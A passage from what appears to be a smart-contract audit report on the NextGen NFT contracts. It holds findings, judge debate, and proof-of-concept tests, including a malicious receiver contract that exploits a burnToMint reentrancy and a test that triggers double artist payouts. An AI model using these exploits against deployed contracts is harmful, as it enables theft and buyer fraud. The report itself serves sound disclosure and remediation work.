minter.setCollectionCosts(colId, 1 ether, 1 ether, 0, 100, 0, address(0));
minter.setCollectionPhases(colId, 0, 0, 1, 101, bytes32(0));
vm.warp(1); // jump one sec to enter public phase
}
function testFaultySplitResultsInDoubleRoyalty() public {
// needs to hold one extra eth for payout
vm.deal(address(minter),1 ether);
// mint to increase collectionTotalAmount
minter.mint{value: 1 ether}(colId, 1, 1, '', address(this), new bytes32[](0), address(0), 0);
assertEq(2 ether, address(minter).balance);
// begin with setting artist split to 100%, team 0%
minter.setPrimaryAndSecondarySplits(colId,
100, 0, // primary
100, 0 // secondary (not used)
);
// set the actual artist split
minter.proposePrimaryAddressesAndPercentages(colId,
artist, address(0), address(0),
100, 0, 0
);
minter.acceptAddressesAndPercentages(colId, true, true);
// set 100% to team, 0% to artist without changing artist address allocation
minter.setPrimaryAndSecondarySplits(colId,
0, 100, // primary
0, 100 // secondary (not used)
);
// when artist is paid, 2x the amount is paid out
minter.payArtist(colId, team, address(0), 100, 0);
// team gets 1 eth
assertEq(1 ether, team.balance);
// artist gets 1 eth
assertEq(1 ether, artist.balance);
}
}
Consider verifying that the artist allocations add up to the artist percentage when calling payArtist
.
Invalid Validation
a2rocket (NextGen) disputed and commented via duplicate issue #1550:
The
payArtist
function allows to payments to artists between phases. Once a payment is made, thecollectionAmount
goes to0
and then increases while the second minting starts, etc.
The Warden specifies that an overpayment of artist funds can be performed, resulting in fund loss for the system if the artist's percentage is ever reduced after having been configured.
The submission is correct and the core flaw lies in that the
MinterContract::payArtist
function will utilize the proposed percentages instead of the accepted ones when performing the transfers, incorrectly assuming that they equal thecollectionRoyaltiesPrimarySplits[_collectionID].artistPercentage
originally enforced when they were set.The Warden's submission was selected as the best because it details the attack vector precisely, it includes an informative PoC, and provides an easy-to-follow textual description of the issue.
I consider this to be a valid medium-severity issue as the fund loss can tap into the funds of other users and potentially the teams themselves given that the royalties for artists are distributed before the royalties for teams.
MrPotatoMagic (warden) commented:
@0xsomeone, here is why I believe this issue in not valid:
- The issue assumes there will be a deviation from the original process of how royalties are set. That is,
setPrimaryAndSecondarySplits() => proposePrimaryAddressesAndPercentages() => acceptAddressesAndPercentages
.- The warden mentions that the admin would be malicious or could input by mistake. Such instances are considered reckless admin mistakes as per the C4 SC verdict in the docs.
- There is no incorrect assumption being made by the NextGen team here since the process mentioned in point 1 is to be followed every time royalties are changed. See Discord comment by sponsor.
@MrPotatoMagic, thanks for contributing to this particular submission's Post-Judging QA process! Let me get back to each of your points:
- The issue assumes that the artist is willing to break the flow which is a valid assessment.
- The Warden's submission does not rely on an egregious error or reckless mistake. It also does not rely on their input being incorrect maliciously as any update to the function will cause the bug to manifest at varying degrees. Invoking
setPrimaryAndSecondarySplits
, as its name implies, should overwrite the split percentages but it does not. This is a reasonable expectation of the function.- The submission entails incorrect accounting in the
MinterContract
, rather than an administrative error. Additionally, its impact is significant, as it can touch into the funds of other collections as all funds are stored under a single contract.Combining the facts that this is a critical vulnerability with an acceptable chance of happening, I consider a medium-risk rating appropriate for it.
Keep in mind that the
payArtist
function, while an administrative function, can be assigned to function-level administrators. Contrary to functions likeemergencyWithdraw
which clearly denote their purpose, the NextGen team will never reasonably expect thatpayArtist
can result in the contract's funds being siphoned.As such, the accounting flaw must be corrected and constitutes a medium-risk vulnerability that should be rectified.
Submitted by Haipls, also found by Udsen, PetarTolev, r0ck3tz, VAD37, gumgumzum, Draiakoo, ast3ros, and 00xSEV
According to documentation and other randomizer implementations, Randomizers are expected to set a random HASH
for the minted tokens.
However, the implementation mistakenly uses bytes32 in the format:
bytes32(abi.encodePacked(numbers, requestToToken[id])
orbytes32(abi.encodePacked(_randomWords, requestToToken[_requestId]))
.
File: 2023-10-nextgen\smart-contracts\RandomizerVRF.sol
65: function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
66: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));
67: emit RequestFulfilled(_requestId, _randomWords);
68: }
69:
File: 2023-10-nextgen\smart-contracts\RandomizerRNG.sol
48: function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
49: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers, requestToToken[id])));
50: }
The hash is calculated as bytes32
from abi.encodePacked
of the random number
and tokenId
.
Key observations:
bytes32
truncates the result ofabi.encodePacked(numbers, requestToToken[id]
) and only considers the first element of the random numbers array.- The random number is directly passed to
setTokenHash
. It is not a hash, and the second parameter meant to contribute to the hash creation is ignored. - Now, the token's hash is directly dependent on the provided number.
Thus, these contracts only pass the random number instead of generating a hash value.
- https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerVRF.sol#L66
- https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerRNG.sol#L49
Example:
If _randomWords = [1, 2]
and requestToToken = 1000
,
the result will be 0x0000000000000000000000000000000000000000000000000000000000000001
, which equals only the first provided random number.
File: 2023-10-nextgen\smart-contracts\RandomizerVRF.sol
65: function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
66: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));
67: emit RequestFulfilled(_requestId, _randomWords);
68: }
69:
File: 2023-10-nextgen\smart-contracts\RandomizerRNG.sol
48: function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
49: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers, requestToToken[id])));
50: }
HardHat
At a minimum, calculate the hash from the provided data using keccak256
.
File: 2023-10-nextgen\smart-contracts\RandomizerVRF.sol
65: function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
-66: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));
+66: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], keccak256(abi.encodePacked(_randomWords,requestToToken[_requestId])));
67: emit RequestFulfilled(_requestId, _randomWords);
68: }
69:
File: 2023-10-nextgen\smart-contracts\RandomizerRNG.sol
48: function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
-49: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers, requestToToken[id])));
+49: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], keccak256(abi.encodePacked(numbers, requestToToken[id])));
50: }
This change will ensure compliance with documentation and consider all data involved in the hash creation process.
a2rocket (NextGen) confirmed via duplicate issue #1688
aslanbek (warden) commented via duplicate issue #1688:
I believe this report contradicts itself:
The RandomizerVRF and RandomizerRNG contracts will not return random hashes, instead, they will only return the generated random number.
This results in non-unique/duplicated tokenHash values and non-randomly generated NFTs. How can two random numbers not being hashed result in non-randomly generated NFTs?
There's indeed a discrepancy between the spec and implementation, but not fixing the issue will simply result in tokens having a random
tokenToHash
anyway, which is sufficient for correct functioning of the protocol.
d3e4 (warden) commented via duplicate issue #1688:
Only one random number is requested, so nothing is trimmed away. Hashing a random
256-bit
value does not make it any more random, it is just an arbitrary bijection. A random number and a hash digest (of an unknown or random number) are equivalent. It is randomness that is sought, not the output of specifically a hash function.
0xsomeone (judge) commented via duplicate issue #1688:
@aslanbek and @d3e4, thanks for your feedback! Let me address both of your points:
Report Contradiction - Indeed the report contradicts itself, however, it was the sole submission of this issue and as such is the primary one.
Randomness Impact - A value not being hashed does not impact its randomness, however, it does impact the range the values will be present in. As such, it allows the "expansion" of a randomness range to cover the full
uint256
value range. For example, if the randomness values are in a sub-range[X,Y]
, the randomness oracles will produce token IDs solely in that range.If a hash function is utilized (such as
keccak256
), the range will be expanded to[0, type(uint256).max]
which is the desirable outcome. This is further illustrated by the fact that thetokenHash
entry specifies it should be a hash.ARRNG-Specific Impact - Another important trait of hashing is the minimization of monobit bias. A monobit bias occurs when a single bit in the randomness output is more frequently
0
or1
in relation to the rest of the bits. This is especially prevalent in random sources such as ARRNG which rely on radio waves and other real-world data that may bias their measurements.A hash will induce the avalanche effect whereby a bit will have a rough chance of being flipped. As such, monobit bias is somewhat eliminated by using hashing functions. While I won't criticize Chainlink, the ARRNG service relies on
RANDOM.ORG
which provides publicly accessible data showcasing its monobit bias.Chainlink-Specific Impact - The Chainlink oracle of NextGen is defined to have the
numWords
requested as updateable. This is very useful when the perceived entropy of random numbers is small; specifically, a hash of multiple lower-than-maximum (256
in this case) entropy numbers will "compress" the entropy (with some loss of course) into 32 bytes. As an example, hashing two numbers with16
and19
bits of entropy each will produce an output that has their entropy combined minus one to account for entropy lost due to compression and collisions.As the
numWords
variable can be updated, we can see a problem in the codebase whereby any value ofnumWords
greater than one will not increase the entropy of the randomness generator as expected.Closing Thought - Given that the code contains an egregious error that directly impacts its functionality, I will maintain the current medium risk rating. The
tokenHash
mapping is expected to contain a hash, and assigning it otherwise is an invariant that is broken. I will consider inviting other judges to contribute to this particular judgment.
Note: For full discussion, see here.
Submitted by ast3ros, also found by smiling_heretic, bart1e, Jiamin, Al-Qa-qa, Ruhum, ustas, rishabh, CaeraDenoir, 00xSEV, circlelooper, gumgumzum, crunch, and Juntao
The current implementation of the burnToMint
function in the NextGenCore.sol
smart contract permits a contract holder to both burn and sell the same NFT, effectively exploiting it to mint a new NFT. This leads to potential fraudulent activities when trading the NFT.
The vulnerability stems from the order of operations in the burnToMint
function. Currently, a new token is minted (_mintProcessing
) before the existing token is burned (_burn
). This sequence of operations opens a window for exploitation:
File: smart-contracts/NextGenCore.sol
213: function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
214: require(msg.sender == minterContract, "Caller is not the Minter Contract");
215: require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
216: collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
217: if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
218: _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
219: // burn token
220: _burn(_tokenId);
221: burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
222: }
223: }
The _mintProcessing
function calls _safeMint
, which in turn can trigger arbitrary code execution if the recipient is a contract. This allows for manipulation such as transferring the NFT (set to be burned) to another user before the burn occurs:
File: smart-contracts/NextGenCore.sol
227: function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
228: tokenData[_mintIndex] = _tokenData;
229: collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
230: tokenIdsToCollectionIds[_mintIndex] = _collectionID;
231: _safeMint(_recipient, _mintIndex);
232: }
A malicious actor can exploit this by listing the NFT for sale. When there is a buy offer, the malicious contract can call burnToMint
to receive the new NFT and simultaneously accept an offer to buy the original NFT, resulting in the original NFT being burned but still sold, effectively duping the buyer.
In this POC scenario, there are two collections; 1 and 2. The admin is set so that users can burn token in collection 1 to mint token in collection 2.
- A malicious contract has the token
10000000000
of collection 1, it lists the token10000000000
in the marketplace. addr3
offers to buy the token10000000000
from the malicious contract.- The malicious contract calls
burnToMint
, stimulously receives token20000000000
from collection 2 and accepts the offer to buy10000000000
fromaddr3
. - In the end, token
10000000000
is burnt andaddr3
receives nothing. The malicious contract receives both token20000000000
fromburnToMint
and proceed from the sales of token10000000000
.
POC:
- Save the code in
test/nextGen.test.sol
- Setup foundry and Run: forge test
-vvvvv --match-contract NextGenCoreTest --match-test testBurnToMintReentrancy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/AuctionDemo.sol";
import "../smart-contracts/IERC721Receiver.sol";
import {console} from "forge-std/console.sol";
contract NextGenCoreTest is Test {
NextGenCore hhCore;
DelegationManagementContract hhDelegation;
randomPool hhRandoms;
NextGenAdmins hhAdmin;
NextGenRandomizerNXT hhRandomizer;
NextGenMinterContract hhMinter;
auctionDemo hhAuctionDemo;
address owner;
address addr1;
address addr2;
address addr3;
function setUp() public {
owner = address(this);
addr1 = vm.addr(1);
addr2 = vm.addr(2);
addr3 = vm.addr(3);
// Deploy contracts
hhDelegation = new DelegationManagementContract();
hhRandoms = new randomPool();
hhAdmin = new NextGenAdmins();
hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));
hhRandomizer = new NextGenRandomizerNXT(
address(hhRandoms),
address(hhAdmin),
address(hhCore)
);
hhMinter = new NextGenMinterContract(
address(hhCore),
address(hhDelegation),
address(hhAdmin)
);
}
function testBurnToMintReentrancy() public {
// Setting up, creating 2 collections for burnToMint
string[] memory collectionScript = new string[](1);
collectionScript[0] = "desc";
hhCore.createCollection(
"Test Collection 1",
"Artist 1",
"For testing",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
collectionScript
);
hhCore.createCollection(
"Test Collection 2",
"Artist 2",
"For testing",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
collectionScript
);
hhAdmin.registerCollectionAdmin(1, address(addr1), true);
hhAdmin.registerCollectionAdmin(1, address(addr2), true);
vm.prank(addr1);
hhCore.setCollectionData(
1, // _collectionID
address(addr1), // _collectionArtistAddress
2, // _maxCollectionPurchases
10000, // _collectionTotalSupply
0 // _setFinalSupplyTimeAfterMint
);
hhCore.setCollectionData(
2, // _collectionID
address(addr2), // _collectionArtistAddress
2, // _maxCollectionPurchases
10000, // _collectionTotalSupply
0 // _setFinalSupplyTimeAfterMint
);
hhCore.addMinterContract(address(hhMinter));
hhCore.addRandomizer(1, address(hhRandomizer));
hhCore.addRandomizer(2, address(hhRandomizer));
hhMinter.setCollectionCosts(
1, // _collectionID
0, // _collectionMintCost
0, // _collectionEndMintCost
0, // _rate
5, // _timePeriod
1, // _salesOptions
0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress
// 0x0000000000000000000000000000000000000000
);
hhMinter.setCollectionCosts(
2, // _collectionID
0, // _collectionMintCost
0, // _collectionEndMintCost
0, // _rate
5, // _timePeriod
1, // _salesOptions
0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress
// 0x0000000000000000000000000000000000000000
);
hhMinter.setCollectionPhases(
1, // _collectionID
1696931278, // _allowlistStartTime
1696931280, // _allowlistEndTime
1696931282, // _publicStartTime
1796931284, // _publicEndTime
bytes32(
0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870
) // _merkleRoot
);
hhMinter.setCollectionPhases(
2, // _collectionID
1696931278, // _allowlistStartTime
1696931280, // _allowlistEndTime
1696931282, // _publicStartTime
1796931284, // _publicEndTime
bytes32(
0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870
) // _merkleRoot
);
bytes32[] memory merkleRoot = new bytes32[](1);
merkleRoot[
0
] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;
hhMinter.initializeBurn(1, 2, true);
// Deploy a malicious contract to receive token 10000000000, later burn token 10000000000 to receive token 20000000000
MaliciousContract maliciousContract = new MaliciousContract(address(hhCore), address(addr2), address(addr3));
vm.warp(1796931283);
// Mint token 10000000000 to malicious contract
hhMinter.mint(
1, // _collectionID
1, // _numberOfTokens
0, // _maxAllowance
'{"tdh": "100"}', // _tokenData
address(maliciousContract), // _mintTo
merkleRoot, // _merkleRoot
address(addr1), // _delegator
2 //_varg0
);
// Malicious contract approve to addr2 so addr2 can call burnToMint on behalf of the malicious contract
vm.prank(addr2);
maliciousContract.approveToken();
vm.prank(addr2);
hhMinter.burnToMint(1, 10000000000, 2, 100);
assertEq(hhCore.ownerOf(20000000000), address(maliciousContract)); // Malicious contract receives token 20000000000 after burnToMint.
assertEq(hhCore.balanceOf(address(addr3)), 0); // NFT of addr3 is burnt
}
}
contract MaliciousContract is IERC721Receiver {
address public collection;
address public admin;
address public receiver;
uint256 tokenIdToBurn = 10000000000;
uint256 tokenIdToReceive = 20000000000;
constructor(address _collection, address _admin, address _receiver) {
collection = _collection;
admin = _admin;
receiver = _receiver;
}
function approveToken() external {
require(msg.sender == admin);
NextGenCore(collection).setApprovalForAll(admin, true);
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external override returns (bytes4) {
if (_tokenId == tokenIdToBurn) {
return IERC721Receiver.onERC721Received.selector;
} else if (_tokenId == tokenIdToReceive) {
// after receive the token, accept the sale offer immediately to send the token to buyer. To simplify, call transfer to the buyer
NextGenCore(collection).transferFrom(address(this), receiver, tokenIdToBurn);
return IERC721Receiver.onERC721Received.selector;
}
}
}
The order of operations in the burnToMint
function should be revised to ensure that the token is burned before a new one is minted:
function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
require(msg.sender == minterContract, "Caller is not the Minter Contract");
require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
- _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
// burn token
_burn(_tokenId);
burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
+ _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
}
}
Reentrancy
a2rocket (NextGen) confirmed and commented:
The proposed mitigation is not fully corrected, as you need to store the current owner of the token before burning it and use that into
safeMint
. If you do it like it's proposed, thesafeMint
will not be able to send the token.
0xsomeone (judge) decreased severity to Medium and commented:
The Warden has showcased that due to the absence of the Checks-Effects-Interactions pattern, it is possible to utilize an NFT to-be-burned (i.e. to sell it) before the actual burning operation is executed.
While the recommended alleviation does not work as expected per the Sponsor's comments, the submission is valid as it can cause the recipient of an NFT (if an open sale exists) to lose their value and not acquire any NFT.
I will downgrade this to a medium severity vulnerability per the judging guidelines, as the only loss-of-value is a hypothetical value of an external protocol (i.e. trading one) rather than the NextGen system.
The Warden's submission was selected as the best due to a correct title, cleaner & concise representation throughout, and illustrative recommended mitigation.
[M-04] On a Linear or Exponential Descending Sale Model, a user that mints on the last block.timestamp
mints at an unexpected price.
Submitted by Fulum, also found by DeFiHackLabs, bird-flu, t0x1c, Krace, xAriextz, merlin, phoenixV110, 00xSEV, nuthan2x, zhaojie, xuwinnie, PENGUN, Jorgect, oakcobalt, VAD37, twcctop, Juntao, DanielArmstrong, and evmboi32
A user can mint a token at an incorrect price and lose funds if they mint on the last authorized block.timestamp
during a Linear or Exponential Descending Sale Model.
On a Linear or Exponential Descending Sale Model, the admin sets the collectionMintCost
and the collectionEndMintCost
. In context of these sale models, the collectionMintCost
is the price for minting a token at the beginning and the collectionEndMintCost
the price at the end of the sale.
The minting methods use the function MinterContract::getPrice()
to compute the correct price at the actual timing, check the function with the branch for a Linear or Exponential Descending Sale Model:
function getPrice(uint256 _collectionId) public view returns (uint256) {
uint tDiff;
//@audit If Periodic Sale
if (collectionPhases[_collectionId].salesOption == 3) {
...
} else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
tDiff = (block.timestamp - collectionPhases[_collectionId].allowlistStartTime) / collectionPhases[_collectionId].timePeriod;
uint256 price;
uint256 decreaserate;
//@audit If Exponential Descending Sale
if (collectionPhases[_collectionId].rate == 0) {
price = collectionPhases[_collectionId].collectionMintCost / (tDiff + 1);
decreaserate = ((price - (collectionPhases[_collectionId].collectionMintCost / (tDiff + 2))) / collectionPhases[_collectionId].timePeriod) * ((block.timestamp - (tDiff * collectionPhases[_collectionId].timePeriod) - collectionPhases[_collectionId].allowlistStartTime));
//@audit If Linear Descending Sale
} else {
if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) {
price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate);
} else {
price = collectionPhases[_collectionId].collectionEndMintCost;
}
}
if (price - decreaserate > collectionPhases[_collectionId].collectionEndMintCost) {
return price - decreaserate;
} else {
return collectionPhases[_collectionId].collectionEndMintCost;
}
} else {
// fixed price
return collectionPhases[_collectionId].collectionMintCost;
}
}
We can see that if the collectionPhases[_collectionId].salesOption == 2
(it's the number for a descending sale model), and if the block.timestamp
is > allowlistStartTime
and < publicEndTime
. The price is correctly computed.
A little check on the mint()
function:
function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
...
} else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
...
} else {
// fixed price
return collectionPhases[_collectionId].collectionMintCost;
}
}
But if the publicEndTime
is strictly equal to publicEndTime
, the returned price is the collectionMintCost
instead of collectionEndMintCost
because the logic go to the "else" branch. It's an incorrect price because it's the price at the beginning of the collection. As you can see on mint()
, a user can mint a token on the block.timestamp
publicEndTime
.
Users that mint on the last block.timstamp
mint at an unexpected price and for all the minting methods which use the getPrice()
function.
You can see the logs of the test with this image:
Note: to view the image, please see the original submission here.
Here's the gist if you want to execute the PoC directly. You can execute the test with this command:
forge test --mt testgetWrongPriceAtEnd -vvv (or with -vvvvv to see all the transaction logs)
Change the < & >
to <= & =>
on the else/if
branch inside the getPrice()
function.
function getPrice(uint256 _collectionId) public view returns (uint256) {
uint tDiff;
//@audit-info If Periodic Sale
if (collectionPhases[_collectionId].salesOption == 3) {
...
-- } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && -- block.timestamp < collectionPhases[_collectionId].publicEndTime){
++ } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp => collectionPhases[_collectionId].allowlistStartTime && ++ block.timestamp <= collectionPhases[_collectionId].publicEndTime){
tDiff = (block.timestamp - collectionPhases[_collectionId].allowlistStartTime) / collectionPhases[_collectionId].timePeriod;
uint256 price;
uint256 decreaserate;
//@audit If Exponential Descending Sale
if (collectionPhases[_collectionId].rate == 0) {
price = collectionPhases[_collectionId].collectionMintCost / (tDiff + 1);
decreaserate = ((price - (collectionPhases[_collectionId].collectionMintCost / (tDiff + 2))) / collectionPhases[_collectionId].timePeriod) * ((block.timestamp - (tDiff * collectionPhases[_collectionId].timePeriod) - collectionPhases[_collectionId].allowlistStartTime));
//@audit If Linear Descending Sale
} else {
if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) {
price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate);
} else {
price = collectionPhases[_collectionId].collectionEndMintCost;
}
}
if (price - decreaserate > collectionPhases[_collectionId].collectionEndMintCost) {
return price - decreaserate;
} else {
return collectionPhases[_collectionId].collectionEndMintCost;
}
} else {
// fixed price
return collectionPhases[_collectionId].collectionMintCost;
}
}
Invalid Validation
a2rocket (NextGen) confirmed via duplicate issue #1391
The Warden specifies an inconsistency within the code whereby the price calculation function will misbehave when measured for a sale type of
2
combined with theblock.timestamp
being thepublicEndTime
of the collection's sale period.The finding is correct given that the relevant mint functions in the
MinterContract
perform an inclusive evaluation for both theallowlistStartTime
and thepublicEndTime
, permitting this vulnerability to manifest when theblock.timestamp
is exactly equal to thepublicEndTime
.The Sponsor has confirmed this in #1391 and I accept the medium severity classification based on the submission's likelihood being low (due to the strict
block.timestamp
requirement), but the impact being high as an NFT would either be bought at a discount an arbitrary number of times, hurting the artist, or at a high markup, hurting the buyer.The Warden's submission was selected as the best due to the presence of a PoC with logs that properly emphasize how the issue can be exacerbated depending on the configuration of a sale and its recommended mitigation being sufficient in rectifying the vulnerability.
Submitted by bird-flu, also found by SovaSlava, devival, 0xAadi, smiling_heretic, Kaysoft, Audinarey, Viktor_Cortess, Eigenvectors, DeFiHackLabs, rotcivegaf, cartlex_, 00decree, The_Kakers, Krace, jacopod, xAriextz, Hama, funkornaut, degensec, Fitro, AS, peanuts, evmboi32, xiao, REKCAH, and openwide
At the end of an auction in AuctionDemo
, the highest bidder claims the token, which transfers the token from the token owner to the auction winner. In the same transaction, the token owner should receive the auction payout.
However, the function AuctionDemo::claimAuction()
sends the payout to the AuctionDemo
contract owner.
This behavior deviates from the listed invariant:
The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded.
- Auction is started, Alice deployed the
AuctionDemo
contract and Cecilia approved theAuctionDemo
contract to transfer her tokens to the winning bidder. - Auction is completed. The highest bid was Bob.
- Bob claims his winnings. The token is transferred from Cecilia to Bob. The bid from Bob is sent to Alice and Cecilia gets nothing.
Any auction executed through AuctionDemo
will have proceeds sent to the AuctionDemo
contract owner, not the token owner. The token owner is left without auction proceeds.
context("Auction Sends proceeds to owner of auctiondemo, not the token owner", () => {
it.only("should execute", async () => {
const tokenOwner = signers.addr2;
const nextGenOwner = signers.owner;
const highestBidder = signers.addr3;
// Auction contract and collections Setup
const AuctionDemo = await ethers.getContractFactory("auctionDemo");
let auctionDemo = await AuctionDemo.deploy(
await contracts.hhMinter.getAddress(),
await contracts.hhCore.getAddress(),
await contracts.hhAdmin.getAddress()
);
timestamp = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp;
await contracts.hhCore.addMinterContract(contracts.hhMinter.getAddress());
await contracts.hhCore.createCollection(
"Test Collection 1",
"Artist 1",
"For testing",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
["desc"],
);
await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer.getAddress());
await contracts.hhCore.connect(signers.owner).setCollectionData(1, signers.addr1.getAddress(), 100, 200, timestamp + 250);
await contracts.hhMinter.setCollectionCosts(1, ethers.parseEther('.1'), ethers.parseEther('.1'), 0, 100, 0, signers.addr1.getAddress())
await contracts.hhMinter.setCollectionPhases(1, timestamp + 25, timestamp + 50, timestamp + 100, timestamp + 150, '0x0000000000000000000000000000000000000000000000000000000000000000')
await ethers.provider.send("evm_increaseTime", [20]);
await contracts.hhMinter.connect(nextGenOwner).mintAndAuction(tokenOwner.getAddress(), "Test Auction 1", 10, 1, timestamp + 100);
id1 = 10000000000;
await contracts.hhCore.connect(tokenOwner).approve(auctionDemo.getAddress(), id1);
// Winning auction bid
await auctionDemo.connect(highestBidder).participateToAuction(id1, { value: ethers.parseEther('2') });
// Move past auction end time and claim token
await ethers.provider.send("evm_setNextBlockTimestamp", [timestamp + 101]);
const transaction = auctionDemo.connect(highestBidder).claimAuction(id1);
// get owner of auditDemo contract and make sure it's not the token owner for this usecase
let owner = await auctionDemo.connect(nextGenOwner).owner();
expect(owner).to.not.equal(tokenOwner.getAddress());
// NextGen owner receives proceeds, token owner receives nothing.
await expect(() => transaction).to.changeEtherBalance(nextGenOwner, ethers.parseEther('2'));
await expect(() => transaction).to.changeEtherBalance(tokenOwner, 0);
expect(await contracts.hhCore.ownerOf(id1)).to.eq(await highestBidder.getAddress());
});
});
Send the auction proceeds to ownerOfToken
instead of owner.
@@ -110,8 +110,8 @@ contract auctionDemo is Ownable {
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && 112| auctionInfoData[_tokenid][i].status == true) {
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
- (bool success, ) = payable(owner()).call{value: highestBid}("");
- emit ClaimAuction(owner(), _tokenid, success, highestBid);
+ (bool success, ) = payable(ownerOfToken).call{value: highestBid}("");
+ emit ClaimAuction(ownerOfToken, _tokenid, success, highestBid);
ETH-Transfer
a2rocket (NextGen) confirmed and commented via duplicate issue #245:
The
mintAndAuction
function can only be called by trusted parties. The_recipient
of that function will be a trusted wallet that will also callsetApprovalForAll()
from the Core contract for the Auction Contract. In our case, the_recipient
will be the deployer of the Auction contract; at the end of the day, the token owner and auction owner are the same person.
After re-visiting, I consider this submission to be better than #738 because it also correctly specifies that the
event
should be fixed rather than just the statement. While I cannot penalize submissions for not including theevent
in their proposed remediations, I can mark a submission that cites it and is of equivalent quality as "best".
MrPotatoMagic (warden) commented:
@0xsomeone, here is why I believe this issue is QA at most:
- As per the sponsors comments here, the owner of the auction contract and the owner of the token are trusted team's address. This means that whether the funds are sent to either, they are not lost, just that the team needs to make an additional fund transfer on their end (if needed).
- Although the invariant is broken, it has no impact on the functioning of the protocol. Due to this, I believe the severity should be QA at most.
